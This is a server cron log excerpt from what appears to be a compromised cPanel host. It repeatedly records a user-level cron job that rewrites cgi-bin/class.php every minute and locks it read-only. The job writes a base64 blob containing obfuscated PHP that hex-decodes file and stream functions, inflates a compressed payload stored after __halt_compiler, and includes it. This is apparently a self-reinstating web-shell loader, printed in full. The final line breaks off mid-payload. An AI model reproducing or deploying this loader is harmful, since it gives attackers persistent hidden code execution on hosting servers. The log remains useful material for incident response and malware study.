Aug 31 03:39:01 server CROND[32655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:39:01 server CROND[32656]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 03:39:01 server CROND[32657]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:39:01 server CROND[32658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:40:01 server anacron[12694]: Job `cron.daily' started
Aug 31 03:40:01 server run-parts(/etc/cron.daily)[616]: starting imunify-antivirus.cron
Aug 31 03:40:01 server CROND[661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:40:01 server CROND[664]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:40:01 server CROND[663]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:40:01 server CROND[669]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:40:01 server CROND[665]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:40:01 server CROND[668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:40:01 server CROND[667]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:40:01 server CROND[670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:41:01 server CROND[1812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:41:01 server CROND[1814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:41:01 server CROND[1815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:42:01 server CROND[2279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:42:01 server CROND[2281]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 03:42:01 server CROND[2280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:42:01 server CROND[2282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:43:01 server CROND[2670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:43:01 server CROND[2671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:43:01 server CROND[2672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:44:01 server CROND[3056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:44:01 server CROND[3057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:44:01 server CROND[3058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:45:01 server CROND[3428]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:45:01 server CROND[3430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:45:01 server CROND[3431]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:45:01 server CROND[3429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:45:01 server CROND[3432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:45:01 server CROND[3434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:45:01 server CROND[3435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:46:01 server CROND[4253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:46:01 server CROND[4254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:46:01 server CROND[4255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:47:01 server CROND[4711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:47:01 server CROND[4712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:47:01 server CROND[4714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:48:01 server CROND[5084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:48:01 server CROND[5083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:48:01 server CROND[5085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:48:26 server run-parts(/etc/cron.daily)[5342]: finished imunify-antivirus.cron
Aug 31 03:48:26 server run-parts(/etc/cron.daily)[616]: starting logclean
Aug 31 03:48:26 server run-parts(/etc/cron.daily)[5354]: finished logclean
Aug 31 03:48:26 server run-parts(/etc/cron.daily)[616]: starting logrotate
Aug 31 03:48:26 server run-parts(/etc/cron.daily)[5366]: finished logrotate
Aug 31 03:48:26 server run-parts(/etc/cron.daily)[616]: starting maldet
Aug 31 03:49:01 server CROND[6006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:49:01 server CROND[6008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:49:01 server CROND[6007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:50:01 server CROND[6393]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:50:01 server CROND[6395]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:50:01 server CROND[6398]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:50:01 server CROND[6405]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:50:01 server CROND[6406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOL